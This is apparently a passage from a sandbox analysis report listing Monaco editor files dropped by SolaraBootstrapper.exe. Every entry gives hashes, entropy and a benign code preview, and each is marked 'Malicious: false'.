Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.de",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (erneut aufgetreten)"],"vs/base/browser/ui/findinput/findInput":["Eingabe"],"vs/base/browser/ui/findinput/findInputCheckboxes":["Gro.-/Kleinschreibung beachten","Nur ganzes Wort suchen","Regul.ren Ausdruck verwenden"],"vs/base/browser/ui/inputbox/inputBox":["Fehler: {0}","Warnung: {0}","Info: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["STRG","UMSCHALTTASTE","ALT","Windows","STRG","UMSCHALTTASTE","ALT","Befehlstaste","STRG","UMSCHALTTASTE","ALT","Windows"],"vs/base

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.es.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (9730)
Category:	dropped
Size (bytes):	38100
Entropy (8bit):	4.681864668613935
Encrypted:	false
SSDEEP:	384:hwuiA9wZFjNzWZQz7uDlnDEuoKZvGrkEq1EhBR3H6Sg4eUz+JWCHcxS+S9SxS9tf:Y9ZCZQOtDZSj1XJS+S9SxS9tx78teB
MD5:	B371235F971BAA51F58F123F40C4435A
SHA1:	843D4A2D214C7D9DA650CF4D0C6981AC1DAB69C6
SHA-256:	203FF3591E02EB7B55A591E53919CC337F8DEA73E6446FC3493227761C0794BA
SHA-512:	77D43490F1208DDE16B6773551EA983CB2352455178EA0E3D4D4B2F2E05DC406CAFAE89738001D708B780B58882CF5448EB7A8D1C11AA7B8E87915A390DA618A
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.es",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (ocurri. de nuevo)"],"vs/base/browser/ui/findinput/findInput":["entrada"],"vs/base/browser/ui/findinput/findInputCheckboxes":["Coincidir may.sculas y min.sculas","Solo palabras completas","Usar expresi.n regular"],"vs/base/browser/ui/inputbox/inputBox":["Error: {0}","Advertencia: {0}","Informaci.n: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["Ctrl","May.s","Alt","Windows","Control","May.s","Alt","Comando","Control","May.s","Alt","Windows"],"vs/base/common/sev

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.fr.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (10607)
Category:	dropped
Size (bytes):	41201
Entropy (8bit):	4.78528892641439
Encrypted:	false
SSDEEP:	768:HlKogi6Q3JbQWxxGmmrHeHPO10xSgGvJ1COIoJoZjbEMO9ms:Hl8KbQwKRavGJoZG
MD5:	D319E61FC6B357B9A5D8E3BBAA44CE3C
SHA1:	B1539B082B2B8290F05DFE17D6FEE3D64B2EC244
SHA-256:	7FDE40B2B212D274617232DE09452C6CB896E8A3C6B9E0B459F067CD07F31A99
SHA-512:	6BA80B90242DC55ECFA1678E7F8506ED9ADD4BF08067B125BA63D42B8E8E4455507A86369F6FAC6C9D10565D083E7364D4FC79D62E9BD460FE49957C91F598E6
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.fr",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (s'est reproduit)"],"vs/base/browser/ui/findinput/findInput":["entr.e"],"vs/base/browser/ui/findinput/findInputCheckboxes":["Respecter la casse","Mot entier","Utiliser une expression r.guli.re"],"vs/base/browser/ui/inputbox/inputBox":["Erreur.: {0}","Avertissement.: {0}","Information.: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["Ctrl","Maj","Alt","Windows","Contr.le","Maj","Alt","Commande","Contr.le","Maj","Alt","Windows"],"vs/base/common/severity":["Erreur"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.it.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (10625)
Category:	dropped
Size (bytes):	39483
Entropy (8bit):	4.645063474403644
Encrypted:	false
SSDEEP:	768:4klNUuMam1xYhz2LyXSXBjlHtvnYyjMbRgD5SL2KAqI0UGmGfpspuoeu317K93Ph:5f0SL2KAqKKNpCi
MD5:	A8855A662EB4D3A771FDAB7BA6287DEF
SHA1:	A78B57810AC8E9704E97897C6168F4140D2EADF7
SHA-256:	F67CEC6DBF98C98C834638D20DF53C5A770EDADA7F26EBF6D0B7DFEC60F7A4AB
SHA-512:	1C03F8B243701870D8A17E5565DA6C65C3F1D76DFB55C88CF68578A4754434A071565DA9147E7C833DE588A5907B5ECE07E018DEC52C79D9B2914C964A48A4B5
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.it",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (nuova occorrenza)"],"vs/base/browser/ui/findinput/findInput":["input"],"vs/base/browser/ui/findinput/findInputCheckboxes":["Maiuscole/minuscole","Parola intera","Usa espressione regolare"],"vs/base/browser/ui/inputbox/inputBox":["Errore: {0}","Avviso: {0}","Info: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["CTRL","MAIUSC","ALT","Windows","CTRL","MAIUSC","ALT","Comando","CTRL","MAIUSC","ALT","Windows"],"vs/base/common/severity":["Errore","Avviso","Informazioni"],"vs/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.ja.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (5031)
Category:	dropped
Size (bytes):	42617
Entropy (8bit):	5.654455164447412
Encrypted:	false
SSDEEP:	384:hIDtFoY0u0ZAITlMRFG1yu9RwJUcQ8bo6CdXtK+c3YcnI+PjnN3H6Sg4dcRID9Dh:VW6RwJrQNdbc9N1aBDzTG7e2ZLlx/
MD5:	A1F3C9E940206CA310147D644305A6E1
SHA1:	005A8F7023B9D873962C7272203CC0C0D0CCC624
SHA-256:	EA9F5E8993017F858CD9EE70AAC3D7990CA85EAF40A052025E530FB1C300837F
SHA-512:	F98AD1E4C127C3AA4A4FF2FA7ED2A65B5D32644211679E42D70AAE03F9C0AF1DA7704061C28E95CBB25AD14745B1D086C9A49492119D0F97653A0B817823BC69
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.ja",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (..)"],"vs/base/browser/ui/findinput/findInput":[".."],"vs/base/browser/ui/findinput/findInputCheckboxes":["............",".........","........."],"vs/base/browser/ui/inputbox/inputBox":["...: {0}","..: {0}","..: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["Ctrl","Shift","Alt","Windows","Control","Shift","Alt","....","Control","Shift","Alt","Windows"],"vs/base/common/severity":[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8613)
Category:	dropped
Size (bytes):	32364
Entropy (8bit):	4.788014155134628
Encrypted:	false
SSDEEP:	384:h03CdtOurX25WyV1Vdf40CJjocZC6F7PKUvRjAaswHq9x3H6Sg4NFVlQlUDZpLjb:23mmysb1zVes3pxCSgwgwjhb
MD5:	74DD2381DDBB5AF80CE28AEFED3068FC
SHA1:	0996DC91842AB20387E08A46F3807A3F77958902
SHA-256:	FDD9D64CE5284373D1541528D15E2AA8AA3A4ADC11B51B3D71D3A3953F8BCC48
SHA-512:	8841E0823905CF3168F388A7AEAF5EDD32D44902035BA2078202193354CAF8CD74CB4CAB920E455404575739F35E19EA5F3D88EAB012C4EBEFC0CCB1ED19A46E
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (occurred again)"],"vs/base/browser/ui/findinput/findInput":["input"],"vs/base/browser/ui/findinput/findInputCheckboxes":["Match Case","Match Whole Word","Use Regular Expression"],"vs/base/browser/ui/inputbox/inputBox":["Error: {0}","Warning: {0}","Info: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["Ctrl","Shift","Alt","Windows","Control","Shift","Alt","Command","Control","Shift","Alt","Windows"],"vs/base/common/severity":["Error","Warning","Info"],"vs/base/parts/quickop

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.ko.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (5254)
Category:	dropped
Size (bytes):	37861
Entropy (8bit):	5.883000229335848
Encrypted:	false
SSDEEP:	384:hS67TmO5oU1Yh4XK8ApE6/z2dHDNV1KiAaA+17tDDN3H6Sg4s/zKz8G3uyroDXYd:rmO5oGXrmi1zDB12zKzuyroKcNVk
MD5:	9CCF83D22E9A9BFAFA2000F366AC47E6
SHA1:	BE61E121AF1A363AA66D875F46E78562A603566E
SHA-256:	100CA482C015571ED9AAD97C2DCC5E266B270A650CE892507443B5D4F32DF64F
SHA-512:	3D68816994ABFF5C528610733CC729E91D390422C2EE2259DCEF3CC4DB9A599C1F3800F412259FE2F9A700BF2847B942A253986C011C659868BC9EDAAE6C2F16
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.ko",{"vs/base/browser/ui/actionbar/actionbar":["{0}({1})"],"vs/base/browser/ui/aria/aria":["{0}(.. ...)"],"vs/base/browser/ui/findinput/findInput":[".."],"vs/base/browser/ui/findinput/findInputCheckboxes":["./... ..",".. ...","... .."],"vs/base/browser/ui/inputbox/inputBox":["..: {0}","..: {0}","..: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["Ctrl","<Shift>","Alt","Windows","...","<Shift>","Alt","..","...","<Shift>","Alt","Windows"],"vs/base/common/severity":["..","..",".."],"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.ru.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (9755)
Category:	dropped
Size (bytes):	57423
Entropy (8bit):	4.754950263828743
Encrypted:	false
SSDEEP:	768:CXH0AKgvFBBK1ED81Z0LVdcan9oUxPr1TPgFuEFYPm/XftWZc:CXHXNtBBK1SLVdcan9oWPgFuEFYPm/d
MD5:	FD1AA66906D2B3C0C9B734B17F04D73B
SHA1:	299145469D5D5397A42274CCC908C865EBC46CFA
SHA-256:	FA180F7B77EE252AEFE73BA5993FBE7C89F43482358D7FD32E8E2F50B3B21BED
SHA-512:	235C2EA1806C13DC0B85F06B5C9F2F811BD145968E2A0AD47C3FA1E063D408EFC034DCA7BAF0B91942CC34E995D1274692C5556C2FB875DBB1054157DA9C0132
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.ru",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (......... .....)"],"vs/base/browser/ui/findinput/findInput":["...."],"vs/base/browser/ui/findinput/findInputCheckboxes":[". ...... ........","..... .......","............ .......... ........."],"vs/base/browser/ui/inputbox/inputBox":["......: {0}","..............: {0}","........: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["CTRL","SHIFT","ALT","....... Wind

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.zh-cn.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (3446)
Category:	dropped
Size (bytes):	30493
Entropy (8bit):	6.34437792445931
Encrypted:	false
SSDEEP:	768:FzMPbIhYBG5OcP2WyCzVsEJvjA1agnGMR:F8fcPN8Gw
MD5:	F954AC1091C6D0B640ED5F0ABDCD8ADB
SHA1:	43E0D5E39910D124C384549DF0B119AD1EBB12B3
SHA-256:	AC881E6F56544ED9B8DD4FD8FD8A73F1DA864FB8D79D91C45F5A51F923BD5287
SHA-512:	8AFF4877BF97CA29DFD5555FE5078ED3F05AC99C43F12C9B1C4D77CA11B1D040A81E0769C10A46A0BB32F3FFE72AE1A223FAF5276D05A11F981AA7677E140C83
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.zh-cn",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (.....)"],"vs/base/browser/ui/findinput/findInput":[".."],"vs/base/browser/ui/findinput/findInputCheckboxes":[".....","....","......."],"vs/base/browser/ui/inputbox/inputBox":["..: {0}","..: {0}","..: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["Ctrl","Shift","Alt","Windows","Control","Shift","Alt","Command","Control","Shift","Alt","Windows"],"vs/base/common/severity":["..","..",".."],"vs/base/p

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.zh-tw.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (3882)
Category:	dropped
Size (bytes):	30734
Entropy (8bit):	6.335664297102438
Encrypted:	false
SSDEEP:	768:pEOtM9oECeRbdFF0D1N+QZyzB0StZ4XUeqJ1wrv6Vl9YLz1/ewyOm:HXEJpdFF0xN+QyoUeqJ1wrv6Vl9Y8wo
MD5:	73031FF9956DA03354038B3185222AF8
SHA1:	712CBF8027CAE6C422490499538EC4A0928C6A78
SHA-256:	7751DF224AC12DBC2E918B12FDBAA465306B6C511E4E1587790163EDAC18AD46
SHA-512:	48B80E78A6751FF58EB33AE92F3AD0E31D2E719D9DC9F4926DB41E44F8CA9819CEA7B657196F4F96C8A1291D57C59C70FFCD64CC9F8CDFFC12BC6B5FF6C50E77
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.zh-tw",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (....)"],"vs/base/browser/ui/findinput/findInput":[".."],"vs/base/browser/ui/findinput/findInputCheckboxes":["......",".......","......."],"vs/base/browser/ui/inputbox/inputBox":["..: {0}","..: {0}","..: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["Ctrl","Shift","Alt","Windows","Control","Shift","Alt","Command","Control","Shift","Alt","Windows"],"vs/base/common/severity":["..","..",".."],"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\standalone\browser\quickopen\symbol-sprite.svg

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	20729
Entropy (8bit):	4.425768984174885
Encrypted:	false
SSDEEP:	384:cyPJZCcKWPJuCNoSmvcar1PNY6g2HdSjEc3/WD3:DCdCNkvcaQ6x9SjES/W7
MD5:	649FB0A55B0E0FC9D79E6B7872A14C10
SHA1:	B33619C9DFD65D3F2E5A5FCB767A752123D51607
SHA-256:	FCC3026B97068F3D9E1743D36CA26B96FFDBCD2841FA9D804CACCC4F249911C8
SHA-512:	3FB4B07E9313B69C84F887C9CA0464E4C8D06A98A8F2AD7D0B48452D068BD526004C21633D0279B4B5E17AD882ACF8C7E99B4C3E7650BE43B495B670A87D0CBD
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="300" height="40"><path d="M288.483 33c-.772 0-1.497-.123-2.153-.365-.678-.253-1.27-.617-1.76-1.084-.5-.475-.892-1.049-1.163-1.704-.27-.644-.407-1.371-.407-2.158 0-.517.061-1.018.178-1.49.116-.47.29-.925.516-1.348.225-.422.508-.815.844-1.167.334-.352.717-.656 1.139-.905.416-.246.881-.44 1.38-.576.493-.134 1.026-.202 1.587-.202.705 0 1.382.109 2.013.324.642.217 1.218.538 1.708.955.501.425.903.948 1.193 1.556.294.623.442 1.316.442 2.064 0 .619-.09 1.185-.268 1.679-.178.492-.42.92-.721 1.275-.331.377-.699.658-1.104.847l-.048.022v1.53l-.587.266c-.128.059-.288.117-.474.179-.193.062-.404.114-.645.159-.229.04-.477.076-.753.103-.27.027-.578.04-.917.04z" fill="#2D2D2D"/><path d="M291.716 24.041c-.396-.336-.856-.593-1.384-.771-.527-.18-1.09-.271-1.689-.271-.473 0-.912.055-1.324.167-.414.112-.791.27-1.135.473-.342.202-.65.446-.922.733-.273.286-.502.602-.686.949-.186.347-.33.722-.428 1.119-.1.399-.148.814-.148 1.247 0 .652.109 1.247.332 1.776.219.531.5

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\css\cssmode.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (21640)
Category:	dropped
Size (bytes):	22035
Entropy (8bit):	5.1216983038953
Encrypted:	false
SSDEEP:	384:h1kwG9aih9phed6ZwRVwCs8fTxUfyP0sYrkoJWMGIk8:aQih9pwd6KsuTxUfyFikkWMGC
MD5:	40A99739F89D382C92EB26F05A9A4497
SHA1:	30E6C52658F49BF5C6103A95D1C3ED50D71B02F2
SHA-256:	D3108AF9FFCDAD3133345686646CAFE3B628AD6B25A3758786B2AA7B7B51809D
SHA-512:	9011557BC41865DC6B44495174EA2F27C700E95DABDAA67D8BDD4B798A367A29CEA91DEF2171C5176160F5791D7BFCC2CD65B58DB4DED721ED2868E4198049E7
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-css version: 2.1.1(a021ab7a38731f54509ae2a95507f8165728cd2f). * Released under the MIT license. * https://github.com/Microsoft/monaco-css/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/language/css/workerManager",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var s=monaco.Promise,n=function(){function e(e){var t=this;this._defaults=e,this._worker=null,this._idleCheckInterval=setInterval(function(){return t._checkIfIdle()},3e4),this._lastUsedTime=0,this._configChangeListener=this._defaults.onDidChange(function(){return t._stopWorker()})}return e.prototype._stopWorker=function(){this._worker&&(this._worker.dispose(),this._worker=null),this._client=null},e.prototype.dispose=function(){clearInterval(this._idleCheckInterval

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\css\cssworker.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65129)
Category:	dropped
Size (bytes):	501334
Entropy (8bit):	5.087045111731214
Encrypted:	false
SSDEEP:	6144:PhKjqIze+tAxt+A7zOM1L0G52ppgGDcoFGPL2gXwiOcFt+oiEipHxJKnVZPUsf:IqkA7zO/pUIPsf
MD5:	152244E2AB4F663141E9466A8282EBE8
SHA1:	E9C0E86FBC108600D3E42A6654C5DE073607DDCE
SHA-256:	288BB68A2C685957B5DC3E5353B1A03DC482B10858059063B99C1549D5FEF01C
SHA-512:	112039647883A1CDB6A860CE1D2980562222B593508DA1EA8C9838B7184E76F72DE9EB68D2727CE12C78E3C0BE7E85101591DF6EBDE1E73DCF8C2495C8454855
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-css version: 2.1.1(a021ab7a38731f54509ae2a95507f8165728cd2f). * Released under the MIT license. * https://github.com/Microsoft/monaco-css/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.!function(e){if("object"==typeof module&&"object"==typeof module.exports){var t=e(require,exports);void 0!==t&&(module.exports=t)}else"function"==typeof define&&define.amd&&define("vscode-languageserver-types/main",["require","exports"],e)}(function(e,t){"use strict";var o,n,r,i,s,a,l,c,h,d,p,m,u;Object.defineProperty(t,"__esModule",{value:!0}),(n=o=t.Position\|\|(t.Position={})).create=function(e,t){return{line:e,character:t}},n.is=function(e){var t=e;return O.defined(t)&&O.number(t.line)&&O.number(t.character)},(i=r=t.Range\|\|(t.Range={})).create=function(e,t,n,r){if(O.number(e)&&O.number(t)&&O.numb

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\html\htmlmode.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (18735)
Category:	dropped
Size (bytes):	19132
Entropy (8bit):	5.130179120102356
Encrypted:	false
SSDEEP:	192:hA6ZF2Cw7DrFcelxzEKfxmflhyLpYvws8edvt9vKVwZVtDFzp6RMSyotuK1sD5Sv:hJw7DTfAlhCpvedmw+MS+KOD5Sc7Pzo
MD5:	C944AD9527D22B6CA6C0D54FD0723296
SHA1:	DDFB323DED66DE709FA8B05ABE0ADA931AC9DD43
SHA-256:	80D6F099563AF129B4DEFF66F7B9D4DFB27AD0058DCB5B77D927E460022DAFEE
SHA-512:	3A6ABB3A15401D28E4926AC008F991B7A19B359C8420D7E5BB6804061B6F82A2BEDFB86823862E1CCFBC046E896CB1A5759199F7E723FD7B1B5E6AEB19F92F58
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-html version: 2.1.1(f878fb07da50bca46d9e65888f2633d6b0338cee). * Released under the MIT license. * https://github.com/Microsoft/monaco-html/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/language/html/workerManager",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var s=monaco.Promise,n=function(){function e(e){var t=this;this._defaults=e,this._worker=null,this._idleCheckInterval=setInterval(function(){return t._checkIfIdle()},3e4),this._lastUsedTime=0,this._configChangeListener=this._defaults.onDidChange(function(){return t._stopWorker()})}return e.prototype._stopWorker=function(){this._worker&&(this._worker.dispose(),this._worker=null),this._client=null},e.prototype.dispose=function(){clearInterval(this._idleCheckInter

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\html\htmlworker.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65135)
Category:	dropped
Size (bytes):	157807
Entropy (8bit):	5.6223380135187
Encrypted:	false
SSDEEP:	3072:wNxSv2ym9FNq9m8iktJFu/TgHdcyDnLEOhUm3xSvp:wNxSv2ym9FNimBmFu/TgHdcgnLEOhUmE
MD5:	3F5802A91A29E4504D5CD2F10AC280B8
SHA1:	368D01E59EAF25F164AB1D80B7F5D74B625B242D
SHA-256:	E80444D8FA519FF86E5C696A40843BC8392B2D3AFB83118A2DD92DA5497C9212
SHA-512:	2F3670227710C291E5E9136B2CAC5C70421C2537B86219FE17ED33161136A08F5CB2069822B16A58CE377B6D1A265CF33215A1695BDA5A701BAE566410CE33E7
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-html version: 2.1.1(f878fb07da50bca46d9e65888f2633d6b0338cee). * Released under the MIT license. * https://github.com/Microsoft/monaco-html/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vscode-nls/vscode-nls",["require","exports"],function(e,t){"use strict";function n(e,t){for(var n,r,i=[],a=2;a<arguments.length;a++)i[a-2]=arguments[a];return n=t,0===(r=i).length?n:n.replace(/\{(\d+)\}/g,function(e,t){var n=t[0];return void 0!==r[n]?r[n]:e})}function r(e){return n}Object.defineProperty(t,"__esModule",{value:!0}),t.loadMessageBundle=r,t.config=function(e){return r}}),define("vscode-nls",["vscode-nls/vscode-nls"],function(e){return e}),function(e){if("object"==typeof module&&"object"==typeof module.exports){var t=e(require,exports);void 0!==t&&(module.exports=t)}else"funct

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\json\jsonmode.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (38704)
Category:	dropped
Size (bytes):	39101
Entropy (8bit):	5.281284309885852
Encrypted:	false
SSDEEP:	768:ghT0rpM0GwBsUWdD5Sw7NibC2FyGf5Zot3OYoHAymtVoQvafg+HfNc75eEWAdy0h:gyM0GwBeD5jhiA3B7VjIQfdy0h
MD5:	44955B6C43B7AAC58492233EFEEB70AD
SHA1:	528B1F0D8EBCE7A607C008AA66A1D0ECD903D3D3
SHA-256:	08AF59E449F6C058514BF05C54511EE6EC83934AB9DC3E803257196B2812E8AE
SHA-512:	5A86921260AE9F87EB134513809231C9B512200CD2F330DF37A098124DB0DA8C8BCEF5DC668875E21328CE9A6C79440811DBBC3371147690C71D31B97745666E
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-json version: 2.1.1(0e6ea95f4f4e093db9201c502e8d401391803233). * Released under the MIT license. * https://github.com/Microsoft/monaco-json/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/language/json/workerManager",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var u=monaco.Promise,n=function(){function e(e){var t=this;this._defaults=e,this._worker=null,this._idleCheckInterval=setInterval(function(){return t._checkIfIdle()},3e4),this._lastUsedTime=0,this._configChangeListener=this._defaults.onDidChange(function(){return t._stopWorker()})}return e.prototype._stopWorker=function(){this._worker&&(this._worker.dispose(),this._worker=null),this._client=null},e.prototype.dispose=function(){clearInterval(this._idleCheckInter

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\json\jsonworker.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (65139)
Category:	dropped
Size (bytes):	102259
Entropy (8bit):	5.245411424016145
Encrypted:	false
SSDEEP:	1536:rIAGGhzNFVAg0Edqq6L05i4Xw9dA+IKFt:cRyzNFV5jXOA+IKT
MD5:	61E9B732BEDC39B547804AC7E8897AAB
SHA1:	187CBA5FBD9C31257119DDE24A28573B4973EF5C
SHA-256:	7C6D37BB341CF59335F6A3E5E336D0DE863124FA40A8F9B5F29D8DA07891B649
SHA-512:	200E32143BBCDA809B0003298AA561EBB27509D309168DE81AD8529476AB64CAEE0502B9FE0B513469C21B82EDB421B642183A250D2BA4D65C74BA4C1CBE39DC
Malicious:	false
